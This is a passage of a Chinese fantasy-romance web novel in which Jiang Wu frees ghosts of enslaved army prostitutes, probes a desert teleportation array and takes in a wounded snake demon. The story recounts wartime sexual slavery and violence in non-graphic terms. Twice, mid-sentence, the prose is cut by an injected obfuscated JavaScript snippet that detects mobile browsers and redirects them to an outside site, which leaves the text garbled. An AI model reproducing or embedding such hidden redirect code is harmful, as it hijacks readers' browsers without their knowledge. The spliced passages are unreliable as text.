阿若浑身湿漉漉地趴在地上,她看着空洞洞的陵墓,喃喃道:“我母亲的坟墓......好强的力量,居然毁了我母亲的坟墓?” 百衢见季易与沛然像两只小鹌鹑一般缩在一个多头怪的怀中,眉心狠狠地一跳,扬声问道:“你们两个怎么回事?还不快过来?” 季易见百衢一副凶神恶煞的模样,立刻往尸母怀中缩了几分,颤声道:“尸母,那人好恐怖,我好害怕。” 百衢见状眉心一拧,“怎么此行几日不见,中邪了?” 宿凌薇走到姜芜面前,她看了一眼举止怪异的季易和沛然,低声问道:“濯濯,他们两个是怎么了?真中邪了?” 姜芜说:“无事,只是被人面鬼附身了而已。” “附身?选择修罗附身,当真是不怕死吗?”百衢嗤笑了一声,“修罗浑身都是具有腐蚀性的血液,附身修罗?是觉得自己命太长吗?” 尸母闻言一愣,神情激动地对季易与沛然说:“快,快离开,来娘亲这里,太危险了。” 季易与沛然点了点头,身体顿时软了下去,从他们的脖颈处爬出一只圆滚滚的球状物,尸母立刻将它们抱在了怀中,心疼地看着它们身上被腐蚀出来的痕迹,大颗大颗的眼泪落在其上。 尸母泪眼婆娑地祈求道:“求求你们,救救我的孩子,我不要塔塔女王的命了,我只求你们能救救我的孩子。” 姜芜看了睢羲一眼,随后起身走向了尸母,“你与塔塔女王究竟是何深仇大恨?”说完,她用剑刃划破了自己的掌心,让鲜血滴在了尸母怀中的两个孩子身上。 “我与塔塔女王……都是过去的事情了,我知晓你们净重她,爱戴她,一定是不愿意听到她的坏话的。”尸母看着自己的两个孩子逐渐好转,欣慰地拥住了它们,“我们只是上不得台面的枯骨,不配存活于世间的幽魂而已。” 姜芜收了手,居高临下地看着尸母,“掌权者视人命如草芥,但配与不配不是掌权者说了算的。你们被困于此,几百年的时光,外面更新换代,或许令你们心生仇恨的人早已经忘了此事,也无人会长久的记得你们,只是当时的一句枯骨幽魂,便让你们沉寂自困于湖泊中,甘心吗?” 尸母失声痛哭起来,“从一开始……我们的命便不属于我们,他们抓了我们,让我们做军妓安慰打仗的士兵,没日没夜,一日四五个,一日七八个,甚至有时都数不清,有孕是常有的事情,落胎也是常有的事情,若是命大的孩儿有幸能够出生,既让我们如同灰烬般的心有了寄托,也让我们痛苦加深,我们会相互照看孩儿们,但是女孩长大后会步我们后尘,男孩则去冲锋陷阵,去蹚雷。有一个姐妹,儿子养到好大了,也是个孝顺孩子说要帮他母亲赎身,可是呢……回来的却只有半具身子……” 尸母抬手擦去脸上的泪水,“那个孩子回来的时候还有气,一直喊着娘亲,一直喊着疼,那个姐妹不忍心,拿枕头硬生生地捂死了自己的孩子,当天夜里她陪那些军爷的时候,活生生咬下了那些臭男人/胯///下/的一坨肉,扬言给她的孩子报仇,可惜了我那姐妹,被扔到狼圈里,活生生的被狼咬死了。你说说,这都是什么世道,我觉得我们配活着,我们努力地活着,但是他们不让我们活,老天也不让我们活,老天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800653|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不救救我们。谁都想活着,我们也想活着,即便是没有尊严,我们也想活着,我们都这么努力了,还是没法活着......” 姜芜神情悲伤地看着尸母,“是塔塔女王吗?她身为女子……” 尸母摇了摇头,怒目瞪着姜芜,“不,不是塔塔女王,她身为女子心更狠,她统一了草原各部落,解放了我们,她是个好人。” 姜芜蹙眉,“既然如此,你为何还如此恨她?” 黑色的人影悄无声息地从地穴中爬出,先是封住了阿若的口鼻,随即又去勾宿凌薇的裙角。 宿凌薇一惊,垂眸便看到一只黑色的手正往她的裙底钻去,她立刻抬掌打去。 睢羲见状立刻飞身至姜芜身侧,百衢也上前将宿凌薇带到安全之地。 百衢问道:“这都是些什么怪东西?杀也杀不死。” 姜芜看了一眼正在被黑色人影拖进地底的阿若,立刻对睢羲说:“救阿若。” 睢羲颔首,抬手唤出离旧,用骨鞭将阿若救了出来。 尸母抱着自己的两个孩子,抬眸扫了一眼那些黑色人影,“这些都是在纷争中死去的士兵,他们罪恶滔天,惯会做些轻贱女子之事,活该死去一直被困在草原上!他们这么对那个姑娘,估计也是心里对塔塔女王有恨。我们也有罪,塔塔女王觉得我们有罪,觉得我们身子不净,觉得我们是脏污的化身,所以我们被困在冰冷的湖泊里面,我们也活该。” “所有人都想过平静的日子,所有人都不是罪人。”姜芜抬手掐诀,引了无字碑中的龙血画阵,“没有人应该被一直困在这里,谁都没有错,怨恨只会让一切变得徒劳。” 百衢的戾气铺天盖地地将那些杀不死的黑色人影按在了空洞之中,妄图将它们碾碎成齑粉。 尸母抬眸看向姜芜,神情期盼地问道:“我们也没有错吗?我们也是被逼无奈的,我们也不想做军妓,他们践踏了我们的家园,杀光了我们的男人,我们也想过反抗,但是我们的力量实在是太小了,我们反抗不了,一旦反抗,轻则少几顿饭,重则便会拳打脚踢,甚至有姐妹连性命都丢掉了。我们也只想嫁个寻常人家,安安稳稳的过日子,以为塔塔女王统一了草原部落,将我们释放,我和我的姐妹们就会迎来了曙光,我们咬牙坚持活到现在,姐妹们之间相互安慰鼓励打气,等来的却是她下令将我们杀死,我们真的好冤啊,活着为何这么难呢?” 姜芜摇了摇头,神情坚定地说:“你们没错,谁都没有错,活着不是错。” 尸母喋喋不休地说:“我好想我的娘亲啊,她从未跟我说过,活着会这么苦。我那些出世的孩儿好可怜,未出世的孩儿也好可怜。不过没出生也许是件好事,因为来到这个世上实在是太苦了。” 尸母说着抱紧了怀中的两个孩子。 姜芜画完了法阵,扬声道:“百衢,把它们放出来。” 百衢龇牙道:“你说让我放我便要放吗?” 宿凌薇闻言直接拍向了百衢的头,“让你放你便放,哪来的那么多废话?” 百衢瞪了宿凌薇这个胆大包天的女人一眼,松开手将那些黑色人影放了出来。 刹那之间那些黑色人影全部被吸进了姜芜的法阵之中,纯粹的灵力配合龙血洗涤着他们的怨念,遗忘刻骨的痛苦,送他们往生。 法阵每吸纳一只黑色人影,莹白色的光芒便会更甚一分。 姜芜抬手撑着法阵,源源不断地输送着微乎甚微的灵力。 睢羲见状眉心紧拧,“濯濯,这样下去你的身子吃不消,我可以帮你做些什么?” 姜芜摇了摇头,她挣开掌心的伤口,送了一些自己的鲜血到法阵之中,“没关系的,戾气暴虐,会让法阵崩坏的,我能坚持住。” 随着阵光大盛,法阵也在不断的扩大,甚至能够笼盖住草原上方浩瀚的夜空。 百衢仰头看了片刻便没了兴趣,他看着一旁的宿凌薇,试探地拍了拍她的肩膀,“濯漪……她经常这样爱管闲事吗?” “爱管闲事?”宿凌薇蹙眉,神情不悦地睨着百衢,“你管这叫爱管闲事?” 百衢不解,不懂宿凌薇为何会突然生气,他思忖了片刻才说:“这不叫爱管闲事叫什么?那叫大发善心好了。” “闭嘴,没人把你当哑巴。”说完,宿凌薇睨了百衢一眼,随即不再搭理他。 姜芜回眸看着尸母,目光柔柔,“去吧,带着你的孩子,离开冰冷的湖水,下一世会托生在一处好人家里的。” 尸母问道:“那我的那些姐妹们呢?下一世也会托生在好人家里吗?还有半个月之前,我那些被抓走的孩儿,现下还没有回来,我本想着拜托你们帮我找孩子的。” 姜芜面色凝重地看向尸母,“还记得是谁带走了他们吗?” 尸母摇了摇头,“我不认得他们,我本想着让你帮我找回孩子呢。” 姜芜垂眸思忖了片刻,随后开口道:“你信我吗?你若是信我便进入法阵之中,你的孩子我会帮你寻回来的。” 尸母厉声道:“真的吗?我要你发誓!一定会帮我找回孩子!否则天打雷劈,不得好死!” 睢羲蹙眉,神情不悦地说:“不要太得寸进尺,你的死活同我们有何干系?不愿意往生便一直待在湖底。” 尸母被睢羲身上的戾气压得缩成了一团,面色痛苦却一直咬牙盯着姜芜,要她说出一句让自己安心的毒誓。 姜芜点了点头,“若是我没有找到你的孩子并送他们前往轮回,我便天打雷劈,不得好死。” 尸母心满意足地笑了起来,她神情温柔地说:“我信,我信你。谢谢,谢谢你。我会带着我的孩子一起走,草原和沙漠中再也不会有人面鬼的存在,也祝愿你的孩子能够健康平安,也希望你能够早日帮我找到我的孩儿。”说完,她将一缕记忆交给了姜芜,随后抱着两个孩子进入了法阵之中,她在其中褪去怪物的外壳,变成一个穿着粗布衣的正常女子,一手牵着一个瘦小可爱的孩子。 两个小孩笑容可掬地朝着姜芜挥了挥手,随后跟在女子的身后消失不见。 姜芜支撑到草原上所有的人面鬼和黑色人影离开,才停止往法阵中注入灵力,她缓缓地吐出一口浊气,抬眸笑盈盈地看向睢羲。 睢羲无奈又心疼地张开了自己的双臂。 姜芜见状快步走了过去,她只是迈出了一步便觉得双腿发软,随即眼前一黑,昏了过去。 “濯濯!” 103. 两厢 姜芜身穿斗篷行走于大漠黄沙之中,她抬手拉住风帽,赤脚越过一片灼热的沙丘,抬眼便看到了那处位于低洼之地的法阵。 晌午的沙丘越发得滚烫,她觉得有些踩不住脚,便忍不住奔跑起来,想寻一处阴凉处来避暑。 姜芜只觉得越跑越热,忍不住睁开了双眸从梦中醒了过来,热汗汇成水珠从她的额间滑落。 姜芜看着压在身上的厚棉被,此时已经是晌午,格力特部落的气温已经完全升了起来,而她觉得自己像是在炎热晌午的火炉旁,高温排挤着她体内的水分,让她变得极度干渴。 宿凌薇关切地凑了过来,“濯濯,你醒了,还有何处不舒服吗?” 姜芜掀开棉被起身,赤脚摆在冰凉的木制脚踏上,顿时觉得舒爽了不少,“现下几时了?” 姜芜缓了缓神,随后起身走至桌前倒了一杯温水来喝。 宿凌薇伸手擦了擦姜芜额头上的热汗,“濯濯,你怎么出了这么多汗,是哪里不舒服吗?” 姜芜摇了摇头,“没有不舒服,只是做了个梦,好热的梦,整个人晕乎乎的,像是醉酒一样。” 宿凌薇听到姜芜说起醉酒二字,顿时想起了在凛月楼荒唐的夜晚,神情有些痛苦地轻哼了一声。 姜芜见状伸手捏住了宿凌薇的手腕,神情关切地问道:“怎么了?” “没事,突然联想到一些不太好的事情。”宿凌薇双手捂着脸,瓮声瓮气地说,“上次我同你说的,玃如观我未来一事,真的应验了,我喝多了,没认出烛九阴来,所以就莫名其妙的……” 姜芜闻言一愣,神情惊讶地看着宿凌薇,随即无奈地笑了起来,“你这也……不过别太放在心上,感受最重要嘛,愉悦便好,你觉得怎样?” 宿凌薇看着姜芜眨了眨眼睛,随即垂眸揪起了一片衣角,脸颊一片绯红,不言不语地抿着双唇。 姜芜见状顿时了然于心,温声劝解道:“既然如此,还有什么好纠结的呢?莫非你想让他负责,或者他想让你负责?” 宿凌薇慌忙摆了摆手,“不会不会,怎么可能。我只是对于未来应验一事,感到特别的恐惧而已,我真的不想同他扯上任何关系,我没有同一个人长久朝夕相处的毅力。不像你,不过我也可羡慕你了,我一想到要同一个人相处上千百万年之久,我就发怵。” 姜芜不动声色地一笑,“还是说你希望我帮你教训烛九阴一顿?” 宿凌薇讶然,抿了抿双唇,语无伦次地说:“我也没有这样想过,毕竟我也没有怎么吃亏,他可比百衢温柔多了,我只是对于规定好的未来而感到恐惧。濯濯,你明白我的意思吗?我原本以为我们是自由的,无拘无束,所经历和遭遇的都是选择,我今日可以选择去并州,明日可以选择去交州,所遇到的事情与人都是因为自己的选择,而不是事先设定好的,我不想我们的所作所为都是按部就班,这样会让我觉得很恐怖。” 宿凌薇说着捧起了姜芜的手,神情忧愁地看着她,“濯濯,你明白吗?” 姜芜闻言拍了拍宿凌薇的手,“那便不要去假设自己不确信的事情,只相信自己所知晓的事情,玃如不过是随口一说,你只是放在心上而已。而且凛月楼那晚你处于醉酒的状态,想必那烛九阴模样也是不错,你只是一时情动,想与他一响贪欢,两厢情愿,不没什么不好。” 宿凌薇思忖了片刻,随即不确信地问道:“真的?” 姜芜勾唇笑了起来,“真的,一生无论长短,都是自己的选择,你如何都是你自己的选择。无论你是想要持剑闯荡江湖,还是想要入朝堂搅弄风云,都是自己的选择,只因为你想,你愿意。” 宿凌薇的脸上重拾笑容,她伸手保住姜芜的腰身,顺势靠进她的怀中,“濯濯,你真是太好了,他们都没有人能帮我解开心中的杂乱,还是你好。” 姜芜想起段怀野几人,开口问道:“眠眠的眼睛可好?” “不好,天河之水对她完全没有效果,怕是只有你说的那一个法子了,想办法帮她换眼。长灵族双眸特殊,怕是不会有人自愿送出自己的双眼的。”宿凌薇随即笑了起来,“不过,睢羲还活着,我也挺开心的。或许未来你们还会在一起呢,跟段怀野接触多了,我还是觉得睢羲最适合你。” 睢羲端着一碗白粥推门而入,他看着两人亲密无间的模样,只是上前将粥碗放在了姜芜手边,“打扰到你们了,你趁热喝,有事喊我。” 宿凌薇笑嘻嘻地从姜芜怀中起身,“不打扰,不打扰,我下去看看有什么吃食。睢羲,你陪着濯濯吧。” 姜芜垂眸搅着碗中稠薄相宜的白粥,声音淡淡地开口道:“不久留,你买些带着路上吃,当务之急是先去探查那处法阵。” 因为宿凌薇的缘故,姜芜有意无意地回避着同睢羲的亲密,她还想让所有的事情留着回旋的余地,好在她现下有了血太岁,心中的负担多少比之前轻了许多。 睢羲眉心一拢,他看着姜芜这副令他心颤的模样,感觉全身的血液都冲到了头顶,让他有些一阵一阵的头晕。 宿凌薇闻言一愣,想起之前姜芜同睢羲的种种,有些拿捏不准二人之间的关系,只是讷讷地说:“好,那你先换件衣裳,我下去等你。” 姜芜笑着应了一声。 宿凌薇路过睢羲只是抬眸看了他一眼,随后便走出去将房门关了上来,她并没有让睢羲一同出来,而是给足了两个人独处的空间。 “有白糖吗?”姜芜问道,“之前我在云舟上没有胃口的时候,宗华在白粥中撒了一些白糖,我觉得味道还不错。” 睢羲见姜芜开口,快步上前将她抱在了怀中,轻声道:“现下胃口不好吗?你已经许久未进食了,有白糖,你要多少?” 姜芜并不意外睢羲现下这般,反而伸手摸了摸他的脸,“你有哪里不舒服吗?怎么脸这么红?” “没有。”睢羲伏在姜芜的肩头,闷声道,“你之前身子还没恢复,现下又失了这么多血,以后要注意一些。” “也是迫不得已,毕竟当时只有我能做那件事。”姜芜安抚般地拍着睢羲的肩背,声音温和,“白糖在哪呢?” 睢羲问道:“你要多少?” 姜芜笑着说:“你拿来我自己加。” “我去拿。”说完,睢羲便放开姜芜,伸手贴了一下粥碗,用戾气温着,随后转身出门去楼下取白糖。 姜芜起身给自己施了一道净身咒,想着睢羲方才穿得那件花青色的外袍,重新给自己换了一身湖蓝色的衣裙,等睢羲再回来时,她已经重新坐回了桌前,手上剥着炒熟的花生。 睢羲见状放缓了脚步,然后将糖罐子放在了姜芜面前。 姜芜兴致冲冲地放下手中的花生,打开糖罐子看着里面的红糖,随后将一只圆凳拉到自己身侧,“坐吧。” 睢羲闻言坐了下来,他先是试了试粥碗的温度,随后放到了姜芜的面前,“趁热吃。” 姜芜应了一声,从罐子中抖了一些红糖到粥碗中,然后用勺子搅拌均匀,白色的米粥混入了褐色的红糖,颜色看起来有些复杂,不像白天那般清透。 姜芜眉心一拢,顿时觉得这碗粥的味道可能没有加白糖的那般滋味,但她还是将整碗粥都喝了个干净。 睢羲试探地问道:“还要再喝一些吗?” 姜芜摇了摇头,拿着睢羲的手按在了自己的腹部,“饱了。”说完,她捻起一颗花生抵到了后者的唇边。 “吃花生。” 睢羲按住姜芜的手,吃掉了她指尖的花生,随后吻了吻她的掌心,凭借着两人手掌相交处,渡了一些戾气给姜芜,“要量力而行,不要逞强。” “你不觉得她们的一生都很可怜吗?”姜芜靠在睢羲的肩膀上,“能帮一把便帮一把吧,也不碍事的,不损失什么的,花生好吃吗?” 睢羲闻言把姜芜抱到了腿上,轻拍着她的后背,“好吃,很香,你还要再休息会吗?” 姜芜起身看着睢羲,环着他脖颈的手移到了耳朵上,她捏了捏睢羲的耳朵,笑着说:“我刚刚洗过,也很香的,你要不亲一下?” 睢羲神情微怔,他看着姜芜笑靥如花的模样,探头吻了吻她的脸颊。 姜芜面上的笑意更深,她摇了摇头,“不休息了,我已经知晓了那处法阵所在,还是先去看看,免得再有无辜人进入无幻之境,而且我大抵能猜得出是谁捉去了那些人面鬼,又把那些人面鬼用在了何处?” “说说看?” 姜芜起身看着睢羲,笑着点了点他的唇峰,“你去找玃如和狌狌时,没察觉到异常之处吗?还有那些久居幽州的羽族,为何要倾巢而出,替那三妖卖命呢?” 睢羲拧着眉摇了摇头,“只是一个交易而已,各取所需,我并没有顾虑那么多。” “走吧,去看看那处法阵。” 季易咬着手指,目不转睛地看着正在喝茶的百衢,他的手有些痒,像是有无数的小肉虫在其中蠕动,促使着他去做一些反常的事情。 百衢抬眸看了一眼季易如狼似虎的眼神,顿时觉得肩背有些酸痛,他抬手捶了捶肩膀,“季易,来。” 季易双眸一亮,立刻上前对着百衢的肩膀按摩揉捏,“百衢,你觉得力道如何?要再重一些,还是轻一些?” 沛然见状也将自己择了半天的葡萄放在了百衢面前,“大人请用。” 百衢面上波澜不惊地应了一声,“力道可以,做的不错。” 宿凌薇见状忍俊不禁,她神情无奈地摇了摇头,“好端端的两个小跟班,出去一趟,成了这副模样,实在是唏嘘啊。” 百衢吃着葡萄扫了宿凌薇一眼,“说的不错,不过还差一句,都是濯漪的错。” “你!”宿凌薇瞪了百衢一眼,“你别欺人太甚!整日里信口雌黄,怎么不说睢羲不是?怎么不说季易沛然的不是?你就只盯着濯濯?她又做错了何事?他们两个又不是没有自保能力,跟濯濯又有什么关系?怎么两个大男人还需要女人来保护吗?” 百衢不以为然地说:“你这不是都很明白吗?而且我说得都是事实,如果不是姜芜,他们两个会这样吗?” 姜芜同睢羲一前一后从二楼走下来,看着季易沛然两人以对待尸母的方式对待百衢,顿时觉得有些新奇。 季易突然停下了按摩的手,神情有些懊恼地捂住了脸,他不知晓自己在做何事,只是脑海里一直这般想着,便想这般做,而且还是在百衢身上动得手,这跟一边摸老虎屁股一边拔老虎胡须没任何区别。 百衢抬眸看向季易,不以为然地问道:“怎么停了?不是按摩得挺好的吗?” 季易哭丧着脸看着百衢,“百…百衢,你真的觉得好吗?我也不知道为何会这么做,可能是被那种东西附身太久了吧。” “没有,挺好的。”百衢扔了颗葡萄进口中,“葡萄择得也不错。” 季易闻言神情激动地看着百衢,正准备说些聊表心意的话,却被姜芜上前打断。 “回去到天河里泡泡便好了。”姜芜扫了一眼众人,“诸位,我要去看看那个法阵,你们呢?” 宿凌薇立刻道:“濯濯,我要同你一起!” 百衢说:“这有什么好纠结的,我出来便是为那个法阵来的。别浪费时间了,现下便去吧。” 舒星一行人早已经拿着东西在一旁候着,听闻姜芜要走,立刻上前将她围住。 “这次多谢您了,若不是您,我们都不知晓该怎么办。”舒星喜形于色,“所以说这些东西一定要请您收下,您可是我们的救命恩人呐。” 仲白飞也一改对姜芜的态度,变得前倨后恭起来,“请您一定一定收下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806814|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜芜看着他们捧过来的绫罗绸缎和金银珠宝,笑着拒绝道:“生活不易,你们也不必如此。我也不缺这些,举手之劳,你们也不必放在心上。” 路闻远说:“你不收下,我们心不安呐。” “不用了,我还有要事在身,而且也知晓了那个位置,我们萍水相逢而已,就此别过。”说完,姜芜便向客栈外走去,睢羲紧跟其后。 阿若坐在角落之中,见姜芜欲走,立刻起身跟了上去。 舒星一行人本向跟上去,却被睢羲一个眼神吓退回原地,只好讪讪地看着几个人走远。 宿凌薇笑着追上姜芜,“濯濯,你没看到,方才那几个小孩被睢羲吓得脸都白了。” 姜芜神情淡淡地应了一声,宿凌薇见状回头看了睢羲一眼,也只是闭口不言。 “那个......” 姜芜停下脚步看着身后不远处欲言又止的阿若,温声问道:“既然你已经从墓中出来了,便要为以后做打算,是想四处走走还是想做些其他的,都可以。” 阿若试探地说:“我知晓你们并非人族,但是我现下人生地不熟,也无处可去,是否可以暂时跟着你?” 姜芜颔首,“可以。” 宿凌薇见状上前挽着阿若的手臂,将她牵引至了姜芜身侧,“你年纪看起来并不大啊。” 阿若抿了抿双唇,“我也不知晓我现下多大,总之周围的一切让我熟悉又陌生,格力特部落已经不是我进入墓穴之前的那个格力特了。我觉得我进入其中不过才几日时光,外面却已经过了百年之久。” 姜芜说:“人生很长,过去的便让它过去吧,对你来说没有什么可惋惜的。” 几人迅速离开了格力特部落,在前往工格栅部落的路上停了下来,姜芜踏上一片与梦境中一模一样的沙丘,她抬手挡住遮挡视线的风沙,随后单手掐诀,一道精纯的灵气直直地飞入沙地之中,将掩盖的沉淀物吹开,露出黄沙之中的巨型法阵。 百衢见状开口道:“你煞费苦心,查阅了多少古籍集合出的咒法秘术,即便是以段怀野的指骨为依托,也依旧困不住她。兄弟,她要想做何事,你是留不住她的。” 睢羲看着姜芜身上散发出来灵气,点了点头说:“我知晓,我都知晓。” 百衢闻言神情诧异地看了睢羲一眼,随即无奈地摇了摇头,并伸手拍了拍他的肩膀,“你这又是何必呢,到头来作践的是你自己。” “我不觉得。” 姜芜看着沙丘凹陷处的法阵,立刻俯身冲了下去,她先是用无心乱破坏了阵眼,防止在探查法阵的时候突然启动传送。 宿凌薇也带着阿若一起飞了下去,她看着脚下的巨大法阵,忍不住问道:“这究竟是什么法阵?” “我曾经怀疑这个法阵同并州的三妖有关,但是现下看来并非如此。”姜芜起身退到了法阵的边缘,“你看看这个法阵像什么?” 宿凌薇闻言围绕着法阵转了几圈,“看起来确实有些眼熟,但是我记不清了......” 姜芜转身看向睢羲,后者立刻意会,从沙丘之上纵身而下落在了她的身边。 “没错,这确实是修罗一族的法阵,而且曾经用戾气催动过。”睢羲说,“但是很难去细纠此阵到底会传送至何处。” 百衢三人纷纷从沙丘上来到法阵边缘。 百衢抬指凝起一簇戾气,“估计又是主战派的手笔,这次居然跟妖族勾结上了,真是令人意外。”说完,他将指尖的戾气打向阵眼的位置。 姜芜蹙眉,“等等,我没说要开启这个法阵。” 百衢冷哼一声,“肤浅,我这是在毁掉它。” 法阵被注入戾气之后,顿时光芒大盛,完全不像是被摧毁的样子,而且愈来愈盛,极其刺目,大有一副被引爆的状态。 姜芜顿时觉得脚下一空,迅速拉住的睢羲的手臂,随即她面前白光一闪,目所能视之时发觉已经来到了大荒昆仑山的妖族入口之处。 大雪纷纷,人族正处于寒冬雪季,昆仑山脉白雪盖头,风雪之大,四下景色难辨认。 阿若看清面前的景色后,神情中流露出难以自控的震惊,这里与大漠完全不同,昆仑山巍峨高耸,气势威严,山头白雪覆盖,延绵数千里,在它的面前能感受到的只有自己的渺小。 宿凌薇只觉得脚下一软,险些摔倒在地,她一边撑了结界避风雪,一边怒视着百衢,“看你做的好事!让你不要轻举妄动,你总是一意孤行!” 百衢站稳后扫了扫肩上的雪花,狂风猎猎,撕扯着他身上的长袍,而他却毫不在意地说:“那又如何,法阵是不是毁掉了?达到了目的便可。” 沛然看着周围陌生又熟悉的场景,神情疑惑地问道:“这里是大荒昆仑山吗?我们现下是在大荒境内,还是人族地界?” 季易四下看了看,整理着身上的衣服说:“还在人族的地盘上,这个地方我可真是太熟悉了,前段时间不知道来了多少次,为了送那些被抓的妖怪回来。好歹也是妖怪,怎么会轻而易举地被人族捉到?居然还有修罗被捉,真是让人笑掉大牙了。” 姜芜想起去年在天都城丛流阁的事情,她想起柏雨,小心翼翼地抬眸看了睢羲一眼。 睢羲从纳袋中取出一件大氅披在了姜芜的肩上,并为她撑起了避风雪的结界。 百衢听到季易提起柏雨,心中顿时怒火中烧,他恶狠狠地睨了姜芜一眼,“现下法阵的事情也调查清楚了,回去肃清主战派吧。” 突然,昆仑之门金光大盛,一只巨型青蛇从其中跃了出来,周身的鳞片尽数崩裂,鲜血缓缓地流淌于雪地之上。 青蛇身影一晃,化作一个身着墨绿色衣裙的美人,她捂着自己的心口跌跌撞撞地朝姜芜等人走来。 宿凌薇双眸一眯,“那是谁?” 104. 心事 “她怎么这么爱管闲事,路过的阿猫阿狗都要帮衬一把。还要花钱买下这么大一间破旧院子,再耗费戾气重建,是要打算常住吗?你可不能再长时间待在人界了。” “净散发一些无用的善心,你也不管管她。” “这么一只大妖都往回捡,扔外面也不会死。” 姜芜焚上线香,听着房间外百衢的喋喋不休,目光却一直落在躺在床榻上昏迷不醒的女人身上,后者身上有一种十分熟悉的气息,像是与寂满同源。 床榻上的女人墨发朱唇,眉心微拢,似乎被困于梦魇之中,像雨后打落于窗台的桃花瓣,充斥着一种我见犹怜的破碎感。 “她做事有她自己的道理,而且她又不是小孩子了,可以承担一切后果,不必事事管着她,你也不必对她如此挂心,事事都要评头论足,这样她会很难过。明明没有做错任何事,却要被你批得一无是处。” 姜芜听着睢羲说的话,忍俊不禁,她能想象得到百衢听到这番话后神情的精彩程度。 “我哪里对她挂心了,她惹出来的事情不要让人给她善后就行。” “我会处理的,而且她也不需要别人给她善后。” “你……你这个猪脑袋!她给你灌了什么迷魂汤,又给了你什么好处,让你这么对她死心塌地的?” 姜芜端着茶杯,清澈的茶汤中倒映出她脸上挥不散的笑意,她有些好奇睢羲的答案。 “她说……她想跟我生个小孩……” “这样也行,这样就把你收买了?不过,听起来确实有意思啊,什么时候生?生出来给我看看,几百年没见过幼崽了,都忘记长什么样子了,话说她能生吗?” “嗯,应该没有问题。” 姜芜闻言手一抖,茶汤顿时撒出来了不少,她放下茶杯,拿帕子去擦桌上的水,准备出去制止他们的胡言乱语。 若是事情没有转机,连血太岁都救不了睢羲,若在此时留个孩子,或许可以阻止睢羲曾威胁过她的殉情,但是姜芜又怕睢羲整日看着孩子,会心痛百倍,想到此处她脸上的笑容一僵,随即缓缓地收了回去。 青鳞睁开双眸从梦中醒来,她看着陌生的顶帐,深深地吸了一口气,随后缓慢地坐起身。 “你醒了?” 姜芜放下手中的帕子坐到了床榻上,从纳袋中取了一枚丹药递到青鳞面前,“你伤得有些重,这药可以调理身子。” 青鳞抬眸打量着姜芜,伸手接过丹药,有些不确信地问道:“你是濯漪?” 姜芜颔首,心中并没有过多的诧异,反而青鳞的开口让她更确信了自己的猜测。 “我是。” “阿满在哪,他还好吗?”青鳞急切地问道,“我是阿满的母亲,蛇族的青鳞。” 姜芜说:“你要见他,我便传讯让他过来,这里也是顺榆镇,不远的,你先好好休息。” 青鳞点了点头,神情温温柔柔地说:“好,麻烦你了,现下天要黑了,你若是方便的话,便明日再让他来吧。” 姜芜应下,随即便起身走出了房间,并将房门关好。 宿凌薇见状立刻迎了上去,“如何?她醒了吗?” 姜芜抬眸看了一眼黄昏,她的手指藏在袖中摸着纳袋,“醒了,她是寂满的母亲,虽然不知晓她冲破结界出来的原因,但是她想要见见自己的孩子,明日便传讯让寂满过来吧。” 百衢说:“一只蛇妖,几千年的修为便能从大荒里闯出来,今日这沙漠里法阵可是直接通到昆仑山的,搞不好大荒同主战派勾结出些乱七八糟的东西,你确定她无二心吗?” “要有二心也是奔着你来的,同我们无干系,你若是怕的话,你走便好了,你若是不怕的话,可以留下来吃饭。”说完,姜芜便挽了袖子进了南侧的厨房,着手处理着买来的食材。 睢羲见状立刻起身准备跟上去。 百衢伸手将睢羲拉住,斥道:“你去干什么?” 睢羲看了百衢一眼,拂开他的手继续往厨房走去,“帮忙。” 宿凌薇随口调侃道:“胆小鬼,快走吧,这里没有你的饭,你真是该担忧的时候不担忧,不该担忧的时候乱担忧,有时候真想看看你是不是跟正常人长反了。” 百衢挑眉,“我说过我要走了吗?” 宿凌薇冷哼了一声,指着季易与沛然说:“无聊,你们两个赶紧把百衢伺候好了,省得他整日火气这么大。百衢,这么多年了,你身边有个固定的伴儿吗?都被你的脾气臭跑了吧,还是被你的烂技术吓跑了?” 百衢闻言并不恼怒,只是神情冷淡地睨了宿凌薇一眼,“说得好像你有一样,我们之间就不要二哥笑大哥了。” “是吗?我没有男人照样情绪稳定。”宿凌薇毫不掩饰地上下打量着百衢,“但是你没有女人,看起来憋得脾气很暴躁哎。你搞清楚,不是女人需要男人,而且男人需要女人。你看你兄弟,濯濯不在,疯成什么样子了,濯濯回来,乖得跟狗一样,濯濯走到哪里,他便跟到哪里。” 沛然闻言只觉得后脊一凉,神情有所顾虑地看向百衢,并希望宿凌薇能少说几句。 百衢抬眸看向宿凌薇,神情淡漠,“那是因为我兄弟有个傻脑袋。” “就你聪明,就你最聪明了,别人都是傻的,蠢的,笨的。”说些,宿凌薇依次指了沛然、季易和百衢。 季易发觉自己不讲话也被骂蠢,顿时气不打一出来,“宿凌薇,你别太过分!招你惹你了?!” 百衢毫不在意地耸了耸肩,“无所谓,你随便骂,我又不生气。” 姜芜见睢羲跟了进来,有些不解地问道:“怎么了?” 睢羲欲伸手接过姜芜手中的菜刀,“我来吧。” 姜芜笑着推了推睢羲,“不用了,你去帮我打水吧。” “好。” 阿若神情局促地站在厨房门口,试探地问道:“有什么是我可以帮忙的吗?” 姜芜说:“你帮我顺菜吧,等睢羲将水打回来,便将青菜洗干净一些,可以吗?” 阿若点了点头,“可以。” 姜芜很快做好了晚饭,单独盛了一份送到了青鳞的房间中。 